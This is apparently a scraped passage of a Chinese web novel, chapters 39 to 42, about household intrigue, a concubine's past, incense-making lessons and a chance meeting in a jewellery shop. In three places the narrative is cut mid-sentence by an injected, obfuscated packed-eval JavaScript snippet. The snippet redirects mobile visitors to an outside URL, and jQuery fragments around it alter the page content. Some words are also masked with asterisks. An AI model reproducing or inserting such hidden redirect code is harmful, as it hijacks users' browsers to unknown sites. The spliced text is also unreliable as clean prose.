婉蓉还要说话,崔小娘却挥手说:“看到你这个窝囊样子我就生气,你快回自个儿屋里去,让我清静一下!” 这话说的,婉蓉更委屈了,生气地站起来怒声说:“小娘你总是这样,对我就不耐烦,弟弟每日来你就恨不得他一天都待在你屋里,从来不赶他!你这个偏心眼的!” 说完,婉蓉气哭了,擦了擦眼泪,转身生气地跑了出去。 差点没把崔小娘气得一个倒仰! “我真是上辈子作孽,生了这个绣花草包!”崔小娘气得压低声音啐了一口,饭也不吃了,只躺在榻上出神。 “小娘别气了,二姑娘性子直,不是故意与您这个母亲吵嘴的。”最得脸的姜妈妈看她心里难受,便轻声安慰。 “你不必替她说话,我自个儿生下来的种,我自晓得她是什么脾气。这丫头也就一张脸好看,若是与当年的我一样处境……”崔小娘冷笑一声,本来是想骂几句,话到一半,却不知为何没了声音。 只因崔小娘突然在这个瞬间想起了十几年前,她丰沛的、漂亮的、野心勃勃的少年岁月。 那时候她真的就想到了后来的一切吗? 她骂婉蓉只得一张脸,性子憨直又脾气火爆,整日不高兴就发脾气。 可是婉蓉是她肚子里出来的,婉蓉之所以是这个脾气,是因为……崔小娘早年间,其实也是这个脾气。 她曾经也是个烈火一般,喜怒都摆在脸上的年轻姑娘啊! 在这个沁冷的冬夜,崔小娘突然想起来,最初不是这样的,最初她那么小意委屈、步步为营……这里面固然有她聪慧、知道顺时而动。 可是最初的让她做这一切的,并不是任何别的东西。 而是那个曾经一心一意、满心满眼都是她的少年郎。 是崔妙人最最喜欢的、最爱的珺哥哥。 十几岁的崔妙人有多喜欢珺哥哥呢? 她甚至愿意为珺哥哥**。 第四十章 豆蔻往事 崔小娘被卖到李家的时候,才将将七岁。 家里孩子太多了,养不活多余的女儿,年纪最小的她最为标致,能卖个最好的价钱。 怕她被卖到花街柳巷,她娘牵着她的手,一路走了一天,走到了县城里,亲自把她交给了李家采买下人的老仆人手里。 崔小娘还记得,她被卖了五石谷子,然后就懵懵懂懂地跟着老管家回了李家。 就是在那里,崔小娘第一次见到了她的珺哥哥。 珺哥哥年少的时候就像是放着光一般,同样都是十来岁的男孩子,崔小娘在乡下见到的男孩不但光着上身满村子乱跑,还总是满身泥巴,身上泛着常年日晒又没有洗干净的斑驳,有些还挂着大鼻涕,愈发显得十分邋遢。 而珺哥哥不一样,珺哥哥皮肤白的跟雪一般,整整齐齐地穿着柔软的蓝色棉布圆领袍,腰间挂着香囊,见到她的时候,温柔地笑着说了一句:“哎哟,家里又添人了。” “珺儿你过来,你读书多,便来给这小丫头取个字吧。”当日老夫人拉着怯生生的她,笑着对李珺说。 “这妹妹生的好玉雪可爱,定是个机灵性子,便叫妙人吧。”李珺当日还有些少年人的腼腆,有些羞赧地说。 崔小娘当时懵懂,不明白珺哥哥为何害羞,直到她长大一点,经常奉老夫人的命在书房伺候,珺哥哥有时候休憩的时候,便会教她识得几个字,又偶尔也会跟她说一些诗书礼仪。 崔小娘算是就这样开蒙,她想要珺哥哥夸奖,不免就十分下功夫,而因为她下功夫,所以学得特别快,让李珺格外欣喜,觉得自己颇会教导人,不免就更愿意教导她。 而崔小娘学得多了,也会在珺哥哥的书房里拿几本闲书来看,她看到某个桥段里,表哥给表妹取小字,大家笑而不语,而后他们果然被家长定亲,喜结良缘的时候,长辈拿当年取笑,说了一句:“这女子小字,素来不是长辈赐字,就是夫君取,你这臭小子,当年你误打误撞,竟是应了今日姻缘。” 崔小娘看到这里,顿时才明白老夫人当日为何让珺哥哥给她取字。 当时是她到李家的第六年,早在日日陪伴之中,与李珺暗自彼此倾慕。 所以发现这个事情的时候,崔小娘猛地合上书,脸庞赤红,一时之间又是欣喜又是快活,激动得像是胸口里揣了只兔子一般,连着好几日都没睡好。 也是自那之后,崔小娘对待李珺愈发上心,两人虽然没戳破那层窗户纸,却情愫暗生。 老夫人对此乐见其成,还给了崔小娘一个陪嫁的素银手镯,言语之中暗示,再等两年,便让她去李珺的房里,好好伺候他。 那时候崔小娘满心都是娇羞与欢喜,她虽然知道自己的身份,必然没什么婚礼,也不会有明媒正娶。 可是珺哥哥喜欢她,她知道,崔小娘相信珺哥哥这么好的人,一定不会让自己受欺负,她先当了通房,日后若是有了一子半女,一辈子总也能安安分分地与珺哥哥厮守终身。 当日的崔小娘满心满眼都是喜悦,却没想到,十五岁李珺一鸣惊人,连中县试与府试头名,只要在院试之中拔得头筹,便能成了小三元佳话。 李家人自然满心欢喜,当时他们久居肇州乡下,并无什么防人之心,只打点行囊,老夫人叫身边得力的大丫鬟在家里打点家业,只带着管家与四五个健壮仆人,便一路出发,打算早点让李珺去考试。 只从乡下到府城,不过一日的距离,谁都没想到会遇到什么事情,全家坐着牛车从乡下去肇州府,结果在路上就遇到了一伙贼人,见了他们就喊打喊杀。 当时老夫人被吓得瘫软在车内,老管家吓得跌下牛车,直接磕在地上的石头上,当场便断了气。 另外几个健壮下人也在几个回合就被击杀,顿时只剩下了崔小娘与李珺二人。 眼见着这些人训练有素,冲过来想对李珺下手,崔小娘不知道从哪里来的悍勇血性,拼着快到面前泛着寒光的刀光,冲出车厢坐在车辙上,拔下簪子一簪子扎在了牛屁股上。 簪子深深扎入,本来就不安的牛吃痛,立刻嚎叫一声就横冲直撞地往前直冲,瞬间与贼人的雪亮刀刃擦头发而过,让崔小娘的鬓边落下一截青丝。 崔小娘心如鼓擂,死死抓着车辙,牛稍微停下她就拿簪子扎一下,没重复几次,就把贼人丢在了身后。 可是还没放下心来,道路颠簸一下,崔小娘直接被甩下牛车。 当日李珺吓得脸色惨白,想跳车救她,十三岁的崔妙人却一秒钟都没考虑,直接把簪子抛到车辙上,对李珺大吼:“珺哥哥,快,你带着夫人快跑!” 说完,她还怕李珺会回头救她耽误事情,一咬牙翻身就冲着陡峭的山坡直接滚了下去。 崔妙人自小最得意她这张脸,自到了李家,为了配得上珺哥哥,她更加在意维护脸和皮肤。 但是在那一刻,崔妙人什么都没想,锋利的碎石和尖锐的草木枯枝划破了她的皮肤,一路滚下去撞击过去,疼得她几次发出惨叫……可是崔妙人不后悔。 她只要想到珺哥哥逃走了,心中就充盈出无数的满足来。 断了一条腿,怕身后贼人发现踪迹追过来欺负自己,在山谷之中咬牙行走,最终疲惫地倒在山中时,是崔妙人这辈子最狼狈的时刻。 她疲惫惊恐、身上还有无数细小的伤口,腿疼得不行。 可是直到倒在山谷里、失去意识的那一刻,崔妙人脸上都带着笑容。 她当日觉得自己是真的要**,她只活了十三年,但是崔妙人觉得值得。 只要珺哥哥平安无事地活下去,那崔妙人就算是下地狱,也值得。 崔妙人从回忆里清醒过来,深吸一口气,突然站起来推开窗户问:“今儿好冷,外头怎么没光啊?” “如今入冬了,月亮都不太出来,自然没光了。”姜妈妈不知她为何如此发问,但还是回着话,然后轻声提醒,“小娘你腿脚不好,仔细冻着,一会儿晚上又发作起来。” 又轻声说:“小娘若是心里不舒服,何不把这事儿回禀给老夫人?” 老夫人对西院偏爱,这是全家上下都知道的事情。 但是崔妙人却嘴巴发苦,苦笑一声,说:“你不明白。老夫人明面上是偏疼我,可是这情分啊……就像书里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183316|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的镜中月、水中花,可做不得真。” 姜妈妈不解,崔妙人却摇摇头,轻声说:“上回老夫人交代的事儿我还没办好呢,大姑娘这**来跟鬼精一样,那院子针扎不进,迟迟找不到机会……这回又拿这种事情去说,老夫人只会烦心。” 说完,崔妙人深吸一口气,把披在身上的比甲脱掉,竟只穿着里头的那套中衣,直接掀开帘子走了出去。 “哎哟我的小娘啊,你这是在做什么啊?!”姜妈妈捡起比甲就冲出去,连忙就要把衣裳往崔小娘身上套,口里紧张地说,“知道您担心二姑娘吃亏,但是您这么折腾自己又是何苦?” 崔妙人抬头看不到月亮,只能看着院子里凋敝的桃树,她抬手挡住姜妈妈,摇摇头说:“不用穿,姜妈妈。” 她像是在自言自语,又像是对某个不可见的人说话,她轻声说:“比这苦的日子……我可过的太多了。” 她总能熬过去,总能赢的,这就行了。 关怀素一觉醒来,就听丁妈妈一脸震惊地进门对她和柳叶说:“我滴个乖乖,刚才大娘子院子里来人说,这两天咱们都不用去请安了,说是老爷听说赵家请了嬷嬷在教导赵姑娘礼仪,便厚颜请托,想把姑娘们都送去赵家跟着学习。” “啊?不用让大娘子看着姑娘们学规矩了?”柳叶正给关怀素选今儿要戴的首饰,听着顿时一愣,手上动作都停了。 “不用了。”丁妈妈说完,鬼鬼祟祟地上前几步,压低声音说,“听说崔小娘昨儿晚上发热了,老爷守了通宵后亲自吩咐的。嘴上说如今家里能请到的都是一般人,定然比不上赵家的好。其实应当就是心疼崔小娘,特地才改了这事儿……” 说完,丁妈妈还要啧啧两声,不可思议地说:“这崔小娘,真正是会拿捏男人,莫非是狐狸精转世?” 关怀素听到这里,心中忍不住微微松了口气,又忍不住有些心情复杂。 松了口气是知道,孙大娘子只怕这几天又要忙着生气,顾不上她了。 心情复杂是因为,崔妙人一场高热便能让父亲立刻便改了对三个女儿的打算,此人比关怀素猜想的还更有手腕。 关家人性子清高刚强,母亲当年遇到这个崔小娘,加上那个偏心到了咯吱窝里的老夫人,不知吃了多少暗亏。 姐姐无人教导庇护,又不知吃了多少暗气。 关怀素心中黯淡,只能在姐姐的书房读书练字,慢慢趁机寻找,看看姐姐有无留下什么,结果依然还是一无所获。 第三日便是去赵家登门求学的日子,为表重视,李珺携大娘子一起亲自带他们去李家送拜师礼。 崔小娘竟也在,笑意盈盈地站在李珺身边,温声叮嘱婉蓉:“你与我不一样,你小娘我出身农家,一辈子并不懂什么诗书礼仪。你好好跟嬷嬷学,知道么?” “你啊,你的诗书礼仪都是为夫教导的,妙人你这话说的,是嫌弃为夫教导的不好?”李珺的声音带着笑意,一家三口在屋里笑着说话,一时温馨到了极致。 关怀素偷看一眼侧前方的孙大娘子,孙大娘子的脸上黑沉沉的,比今儿的天色还差三分。 第四十一章 上学 但是下一瞬,孙大娘子便又是一脸和煦的笑,仿佛没听到夫君称呼妾室为妻。 关怀素心中暗叹她确实能忍,沉默地跟着进门。 进去一看,寒风乍起的日子,崔妙人竟还穿着水红色的单薄衣衫,腰掐的极细,衣服贴着身体,愈发显现出玲珑曲线来,天色还没大亮,屋里还燃着蜡烛,烛火微微摇曳之下,柔美玲珑,瞧着真是酥媚入骨。 婉淑脸上闪过愤恨之色,垂头看地,孙大娘子心中不知如何想,但是面上八风不动。 几人说了几句话,崔妙人便依依不舍地拉着李珺和婉蓉,送他们上马车。 “妙人,你身子不好,回去休息,不要吹着风了。”李珺心疼地一再叮嘱,又掀起车帘子吩咐姜妈妈,“好好照顾你主子。” 如此一再叮嘱,马车终于才出发了。 马车里,看到全程的婉淑眼里闪过不悦,而后突然笑着转头对关怀素说:“大姐姐,咱们如今有机会跟着伺候太后身边的嬷嬷学习,可是天大的福分,我听说大姐姐的阿娘曾经还是大长公主的同窗呢!” 关怀素抬眸看她,并不接话,婉淑笑了笑,抚了抚鬓边的碎发,说:“我阿娘在闺中的时候,舅舅也请了一位宫中侍奉过的姑姑教导过她们。” 关怀素不明白婉淑突然提这个事情是做什么,但是知道她必然有什么想说的,便只微微颔首。 果然婉淑笑意盈盈地接着说:“但是好在只要是正经闺秀,到底都还是有教养的,日后出门交际,自然有该有的气派,无人教导的,再妖妖娆娆又有何用,不过是拘在后宅不得见人的玩意儿罢了。” 原来是嘲讽方才崔妙人的做派呢。 关怀素听明白了,婉蓉也听明白了,于是婉蓉勃然大怒,指着婉淑就骂:“你阴阳怪气地在说什么呢?你娘也不过是个九品县丞的女儿,你就看不起妾室庶出了?你怎么不说你娘当初为什么被寄居在舅舅家?不就是因为你外祖父家里是小妾当家么!自己一屁股屎还笑人家!” “你!”婉淑本来是暗讽,却没想到婉蓉如此粗俗,立刻拉着关怀素连声说,“大姐姐你看看二姐,我本来没那个意思,她反倒先骂起人来了!” 关怀素并不想加入这场战局,只木菩萨一样地侧头看外头,死不接话。 两人正要吵起来,马车外头传来孙大娘子身边周妈妈的声音,压低声音说:“夫人说,这是在外头,姑娘们说话声音小些。” 婉蓉与婉淑登时一静,婉蓉愤愤瞪了一眼,也去看外头去了。 一场风波就这么压下来,马车驶过长安大街,天色大亮,日头高升,她们也到了赵家。 这回来赵家就不像上次做客那般隆重了,一行人进门分别行礼落座,就见到了赵家聘请的老嬷嬷。 老嬷嬷姓刘,宫中出来的老嬷嬷,气势确实与一般人不一样,格外威严一些。 关怀素带着婉蓉婉淑与刘嬷嬷行礼敬茶拜师,而后李珺和孙大娘子在前头说话交际,关怀素她们三个就要上课了。 上课的地方是花园里的暖阁,屋内燃着好几个炭盆,一进去就是一阵暖意。 赵白芷已经在此等候,看到她们进来,她先是规规矩矩地对着刘嬷嬷行礼,然后欢喜地过来拉着关怀素的手,笑着对她们三人说:“前日父亲说,婉玉姐姐、婉淑妹妹与婉蓉妹妹都要来和我一起上课,可把我开心坏了,盼了几天你们可算来了,日后我亦有同窗了!” 她说话一团和气,圆脸上笑意盈盈的,不只是关怀素觉得熨帖,便是连乌眼鸡一般的婉蓉和婉淑也都露出了笑意,一起见礼。 四个姑娘笑成一团问好,身后的刘嬷嬷咳嗽一声,众人这才一惊,转过身去,规规矩矩地听上头的刘嬷嬷吩咐。 “咱们课上的规矩,每日上半日课,今儿我们继续开始学辨香。”刘嬷嬷对大家说话,示意大家坐下。 关怀素就跟着坐在自己身边的案几上,才看到案几上已经摆了大大小小不同的香方与线香、香粉等等。 这便是如今闺秀们都要学习的礼仪之一,辨香。 刘嬷嬷显然也是个香道高手,她娓娓道来,把这些香料出自哪里,曾有什么趣事都一一说出来,一上午说的是妙趣横生,竟然一点也不觉得无聊。 关怀素连续听了十来天的课,竟也对一些香料典故开始如数家珍,只觉得有趣。 却没想到,因学香道的事儿,又出了一场小风波。 那是上课上了十多日之后,学完辨香,便要学焚香。 焚香重点当然不在焚,而是在压香、点香、配香上。 线香简单,只需要搭配时节、搭配好香具并摆放好位置就行,塔香就还会讲究是在香具里燃还是在外头,如有些香具是从里头燃香,香味顺着山峰形状的香具盘旋而上,如高峰起雾,而有些则是放在香具顶上,沉香下沉,顺着曲水流觞蜿蜒而下,仿佛天穹泄浪…… 士人重香道,因此香道是贵女必备的功课,否则日后轮到她们出门交际,若是在这些方面都拿不出手,不免惹人笑话。 关怀素倒是也都跟着祖父略学过,但是祖父去的早,学得也都是普通功夫,刘嬷嬷却另有一门香道功夫,便是压字香。 所谓字香,如其名称而言,就是以调和好的香粉,用香粉字模在香炉之中压制成字,而后点香之后,香气必须成一线缓慢平整燃烧,烧完之后香灰必须颜色均匀一致,凝而不散。 这种玩香手法真是雅致到了极点,关怀素早年跟着祖父一起拜访某个隐居老友时,曾见过老爷爷燃过字香,小小的她极其诧异,只可惜当日他们急匆匆赶路,并未有空请教。 没想到此时居然还能机缘巧合之下,再次接触到这种燃香手法。 能有机会学到这独门功夫,关怀素顿时兴趣大涨,认认真真地跟着刘嬷嬷从香粉调配开始,生怕自己忘记,还不时拿着毛笔记录,生怕记少了哪一样。 关怀素记得勤快,婉蓉和婉淑也不甘示弱,她们也知道,赵姑娘学得这些,往年都是宫里的贵人才能接触到的,跟着刘嬷嬷只需要学到一星半点本事,以后出门之后与贵人交际,那可是真的能被人高看几眼的。 这些都是女子安身立命的本事,得此机会,只要不是蠢货,自然都会极其努力学习。 不过字香学个笼统简单,想真正精通就十分困难了,四人之中唯有赵姑娘气定神闲,出手就有了刘嬷嬷六七分的功夫——这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183317|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒是非常能理解,因赵姑娘的母亲本身就是翰林家的嫡女,香道一途,她应当自小跟着母亲就学得很好,此刻自然也更容易上手。 第一堂课下来,也就她压的“福”字烧的不徐不疾,除了香灰有些塌陷,燃烧的有些过快、一点边角未曾燃尽之外,大致看着样子极其漂亮。 “白芷这个燃的很好。”刘嬷嬷都难得露出了一点认同之色,笑着点头点评。 再往后头看,关怀素的福缺了一个天顶,上面的横线和口字因连接线太细燃断,直接没烧着。 再看看婉蓉婉淑,大多也全折在这个上面,且她们二人到底不太动手做精细活儿,李家没有什么底蕴,二人也是第一次接触压香,所以竟都燃的乱糟糟的不说,还燃的极快,几下便烧着了,香味散的一干二净。 刘嬷嬷看了一眼,当时就皱起了眉头,但是到底是第一堂课,她到底没出声斥责,只说了句:“你们还要多努力,字没形状就算了,香粉怎地调的这么杂,这乌木香气太重了,压的暖橘的味道都全没了,又不是烧柴火。” 这话说得有些重,主要是对着婉蓉说的。 婉蓉羞的脸庞通红,她只想着乌木香贵重,便狠狠地加了好几耳勺,没想到却真的味儿太重了,她凑得近都觉得有些冲鼻子。 刘嬷嬷叫丫鬟开窗通风,散了一屋子乱七八糟的香气,才又说:“香道一途,讲究的是风、雅、韵,风味、雅致、韵味,这几种搭配到一起,要相辅相成,才是好香,若是一味以名贵为主,反而背离香道主旨,显得自己露怯了。调香一途,千人千味,不用拘泥于形势,白芷,你调的香就很好,温和馥郁,中有一道淡淡的苦木香气,压下了原本过于柔暖的香调,外柔内刚,很是衬你。” 刘嬷嬷说完,又分别点评三人说:“婉淑调的香,有些过于规矩了,倒像是香坊里采买来的一样,虽不出错,也不出彩,要多想想自己的味道。婉蓉又太偏重几味香气,那几味香气却又不相容,味道反而杂乱。” 说到最后,她看向关怀素,古板的脸上微微带着一丝笑意,说:“倒是婉玉姑娘,用浓橘皮香气加上提神醒脑的薄荷脑,辅以淡草木香,香气芬芳清冷,雅致余韵,搭配挺有趣,做的很好。” 说完,刘嬷嬷宣布今儿的课就结束,就先行离开。 就是这个时候,赵二郎出现在了门口,笑嘻嘻地说:“哎呀,诸位妹妹下课了?” “二哥哥!”婉蓉与婉淑都眼前一亮,迎了过去。 “早听父亲说起来几位妹妹都在家里上课,我早该来打招呼的,偏近日一直跟在太子身边上学,这不,今日才得空,特地来给几位妹妹请罪。”赵二郎开口便是舌灿莲花,哄得婉蓉与婉淑脸庞飞红,万分喜悦。 等他说到听说大家在学香道,就打算带着大家一起去香坊挑些香回家练手时,除了赵白芷一会儿下午要学习管账无法一起,婉蓉婉淑都十分开心。 学堂的香粉其实十分齐全,但是能去香坊逛一逛,说不得下午还能多逛几个铺面,这对女孩儿们来说,绝对是极其喜悦的事情。 几人开开心心地出门,关怀素却是没想到,这出门逛了一趟,结果自己却被在半路上故意丢下。 第四十二章 再会 开始还好,到了香粉铺子之后,关怀素默默地看香料。 奈何赵二郎不知发什么神经,一直往她身边凑,看她拿起什么香料都凑上前解释,或是买下来。 关怀素才眼神挪了几个位置,赵二郎竟直接让小二包圆了四五种香。 关怀素心中烦躁,婉蓉在旁酸酸地嗔怪:“二哥哥,你今日怎么一直跟着姐姐,都不理我们了?” 美人娇嗔,让赵二郎立刻又被牵引走了心神,陪笑着立刻过去。关怀素忍不住松了口气,转身继续去看香料,几人辗转逛了一圈,满载而归。 就在要走的时候,关怀素没发现,婉蓉悄悄从她那份香料里拿出一盒,偷偷放在柜台小屏风后。 而后走出门去,婉蓉突然对关怀素说:“大姐姐,你不是还有一盒红盒的降真香吗?怎地不见了?” 关怀素回头一看,柳叶怀里确实少了一盒香,她立刻说:“稍等一下,我回去看看。” 说着关怀素立刻带着柳叶一起往回走,赵二郎刚想跟回去,婉蓉却突然撒娇扶额说:“二哥哥,我的头好痛啊!” 赵二郎一愣,立刻回头关心地嘘寒问暖,赶紧搀扶着她上了马车。 于是等到关怀素找到那盒香料,再出门一看,马车已经不见了。 伙计说:“方才与小姐一起来的那红衫小姐说头疼得很,让先送她回家,说是让姑娘你稍微等一会子,等马车回家后再折返回来接姑娘。” 李家离这地方得有小半个时辰,等到车来回得快一个时辰了。 “姑娘,我想起来了,这盒降真香我方才和其他香放在一起的,就在柜台的时候放下来过,不可能突然自己跑去屏风后头!”柳叶回忆起来,立刻生气地说,“是婉蓉叫我去帮她接东西,我才放下来的,回来就少了一盒香,定然是她搞鬼!” 今儿穿红衫就只有婉容,看来是方才赵二郎一直跟着自己,她心中不快活就想整人。 关怀素心中明悟,笑着对那伙计道谢,然后说:“无事,这街上有租马车的车行吧?我去租个车子回家也可以。” “有的有的,隔壁街口就是车行,里面驴车马车都有!”伙计立刻热情地说。 “姑娘,婉蓉就是故意的,你怎地不生气?”柳叶跟在身后不解地说。 “你傻啊!平常咱出来多不方便,这会子连借口都不用找了,你不想逛逛京师的街市?”关怀素提醒柳叶。 柳叶反应过来顿时大喜,连声说:“对哦,咱们还没逛过呢!咱们慢慢去逛,慢点回去,晚上就不是咱们着急了!” 这就是关怀素的意思,婉蓉既然敢把她一个人丢下,那她绝不能就这么算了。 关怀素带着柳叶好好地逛了一圈京师,发现京师人确实比较富足,这一圈子铺面颇多精巧物什不说,且生意都颇为兴隆。 “……咦?”两人逛到了首饰铺子,正觉得有趣时,却听到身后传来迟疑的声音,低声轻唤,“玉儿?” 关怀素听到这个声音十分耳熟,忍不住回过头去一看,竟看到了一个熟人,是程姨母! “姨母!”关怀素自上次一面,就一直想再见,但是李家规矩甚多,如今能在外头遇到,可真是意外之喜。 程娘子看到她也十分开心,见她一个人在外头,又觉得奇怪,连声问她怎么一个人出来逛铺子。 “快别提了!”柳叶立刻上前,把家里人把关怀素一人丢在外头的事情说了一次,气的程娘子眉头都皱起来,恨声说,“小妇养的**种子,一肚子的黑心思,我非得上门去问问李大人是怎么约束她们的!” “不用了姨母。”关怀素拉了拉她,亲**笑着说,“这事儿我心里头自己有办法,你且放心吧!” 程娘子看她对自己撒娇的样子十足娇憨,竟像是把自己真当成了半个母亲一般,她膝下一直孤单,猛地如此,心中顿时生出满足之心,拉着关怀素真是怎么看怎么稀罕,又看到她头上只扎着两支绒花,就非得拉着关怀素去看首饰,口里说:“你看看,你年纪轻轻的,头上这也太素淡了些,来,既然今日遇到姨母,姨母怎地也要给你买个称头的首饰。” 关怀素拗不过姨母的热情,与姨母一起逛起来。 京师首饰铺子也不缺好东西,程娘子却不满意,让掌柜带他们去楼上雅间,要看看新来的时兴首饰。 “夫人小姐,小店刚好到了一批新的首饰,俱都是时下最时兴的,快请上楼!”掌柜一听极其殷勤带她们上楼雅间落座,端了四五托盘首饰让她们细看。 关怀素自然也是喜爱好看的首饰的,不但喜欢素雅灵动的,也喜欢富贵明艳的。但是她并不去看贵重的,反而只往那小巧发簪上翻看。 “我看这个珍珠冠就很好。”哪曾想程娘子却直接看中了一只拳头大小的重莲形状的珍珠冠,那珍珠看着都要百来颗,底下以金丝编织成拱形莲花,看着确实富贵又雅致。 可是本朝崇尚珍珠,这莲花珍珠冠只怕价格吓人。 果然掌柜立刻开心地说:“夫人眼光太好了,这莲花珍珠冠是刚到的,虽珍珠小了些,但是全都是一色半指肚大小的南珠,色泽也非常不错,我们凑了两年多,才做出这顶发冠呢!且这花冠中间这里有花签筒,一年四季都可以簪花进这花签筒中,所以这个珍珠冠又是花冠,可随着搭配的鲜花不同四季佩戴,极是体面实用。” 这确实巧思过人,且原料珍贵,关怀素一听也觉得十分稀罕,但是她心中益发确定这个绝对不是她们能消费得起的东西。 “这作价几何?”程娘子问。 “五百两。”掌柜笑眯眯地说。 果然昂贵的令人倒抽一口冷气! 关怀素立刻便说:“哎呀呀,这实在是太金贵了,姨母快放下,我更喜欢这个红猫眼发簪,姨母您看看这个!” 这个价钱确实完全不是她们能承受的,程娘子也不是打肿脸充胖子的人,她也叹息地放下那发冠,只是心中难受,忍不住说:“你阿娘当年那顶珍珠冠,珍珠比这大一倍不说,大小也足足是这个发冠的五倍,伸出展翼能盖住鬓角不说,做的还是一年景的样式,头顶上能插二十四枝鲜花……如今姨母想给你买个小的,却都缩手缩脚了……” 说着竟然是真的难受起来。 “可是姨母对我疼爱之心,却是万金也不换的啊!”关怀素连忙拉着她,笑意盈盈地拿着手中这个红猫眼簪子说,“我宁可有姨母在乎,也好过只得冷冰冰的发冠呢。” 这话说的程娘子心中一暖,看关怀素手里拿着的这发簪虽是赤金,却十分玲珑,便豪气地又挑了配套的一个小发冠、一对耳铛、一个红猫眼如意金项圈,并搭配了一对红猫眼手串,配齐一套,花费了二百两,才算是满意了。 这实在是贵重,关怀素本想拒绝,却知道程娘子一片慈爱之心,坚辞太过反而让她以为自己是想与她划清界限,于是想了想,到底是收下了,连声对她说:“姨母这也不怕把我纵宠太过了,到时候让我蹬鼻子上脸!” “你啊,我倒是想你经常与我这样蹬鼻子上脸呢!”程娘子被她哄得心花怒放,又一定要带着关怀素去隔壁看衣裳去。 关怀素乐的跟这个姨母好好打好关系,立刻便跟着姨母起身出去,却没想到她们离开之后,里头的隔间里,周乐天与宋律对坐,都听到了外头的对话。 这铺子是周乐天的产业,原是皇祖母私下给他补贴的许多私产之一,如今是京师最好的首饰铺子,周乐天平素也不常来,今儿也是凑巧,碰上陪着母亲来取首饰的宋律。 周乐天虽与宋律关系不好,但宋夫人到底是长辈,周乐天便寒暄了一下,还没来得及辞别,却听到了外头关怀素与姨母的全程对话。 此时关怀素离开,宋夫人倒是主动开口,目露赞赏,轻声说:“这姑娘听着倒是个温厚大方的好姑娘。” 她说完,掌柜拿了宋夫人定的首饰过来,周乐天便叫她慢慢验看,自己告辞,先行离开。 “爷,要不要查查那姑娘?”来福一出来就小声问。 “查什么?”周乐天皱眉。 “哎哟我的爷!你的心思我能不知道吗?”来福急了,他低声说,“这姑娘听声音便是流云台寺的那姑娘,这姑娘两回说话,听着都是极好的,性子再温厚不过了,爷您若有兴致,便去查查。” 见周乐天不出声,来福更急了,便说,“爷你可想好了,我瞧着宋三郎那样子,应也是觉得这姑娘性子好,只怕一会子就要托人去查了,到时候那姑娘若是样貌一般也罢了,万一是个美貌又品德上佳的,宋三郎定抢在你前头,您到时候可别后悔!” 周乐天听到这里,微微皱眉,对来福说:“你既听出来她是流云台寺的姑娘,怎地就没听出来她到底是谁?” 来福一愣,愕然看向自家侯爷,诧异地问:“爷您知道?” 见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183318|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周乐天那样子,显然是真知道,来福登时就震惊了,他说:“爷,你咋知道的?” 周乐天有些奇怪来福怎么听不出来,反问:“她说官话的时候,每回笑之前都会压一下气……那么明显,你怎么听不出来?” 来福无奈了,说:“爷,这一般人还真分辨不出来。” 又好奇地问:“到底是哪家闺秀?若是好的,爷你可要抢在宋三郎前头啊!” 周乐天想到宋律方才的神情,皱眉说:“不过是**她说话而已,宋律应不至于……你去叫掌柜的嘴巴紧一些,别随便暴露客人的行踪。” 说到半途,嘴巴到底比脑子快,先行下了决定。 “哎!”来福一听,立刻大乐,立刻对身后的随从使了个眼色,安排了下去。 至于宋律,当时外头那姑娘一开口,他便听出来了是流云台寺的那姑娘。 当初在墙外听那姑娘说话,只觉得温厚至极,他心思确实是有些微动。 但是他到底不是那种孟浪性子,便立刻按捺下去。 只是今日在茫茫人海再次遇到,再次听到这姑娘说话,又是如此温厚动人、明理体贴,叫宋律的心瞬间又是一软。 母亲定的首饰送了进来,掌柜的把最近做的好首饰也都拿了进来,给宋夫人挑选。 宋律便一眼看到了放在其中的珍珠花冠。 仔细看这珍珠发冠,确实大小一样,光泽莹润,是难得的好首饰。 只是虽然精巧,但是其实比较秀气,并不很大,五百两并不太贵,但是这姑娘的长辈却都没舍得买,听二人说话之中的意思,显然姑娘家中已经有些落败了。 这顶珍珠发冠色泽洁白莹润,放在锦盒之中愈发衬的高洁,倒是十分衬那位姑娘的品德。 “这倒是个好姑娘,去,叫人打听一下,是哪家的姑娘。”宋夫人心中喜欢那姑娘的温厚,立刻便笑着叫身边妈妈去打探,又看看宋律,笑着说,“我家三郎也大了,很该找个品德高尚、贤良淑德的妻子。” 宋三郎不知为何,脑海中想到很久之前,厢房外笑着对自己行礼道谢的身影,又想到她跌倒在自己面前的狼狈样子。 品德高尚、贤良淑德……那女子一点也没有,她性子刁钻、贪慕富贵至极! 宋律脱口而出:“我才不娶妻!” 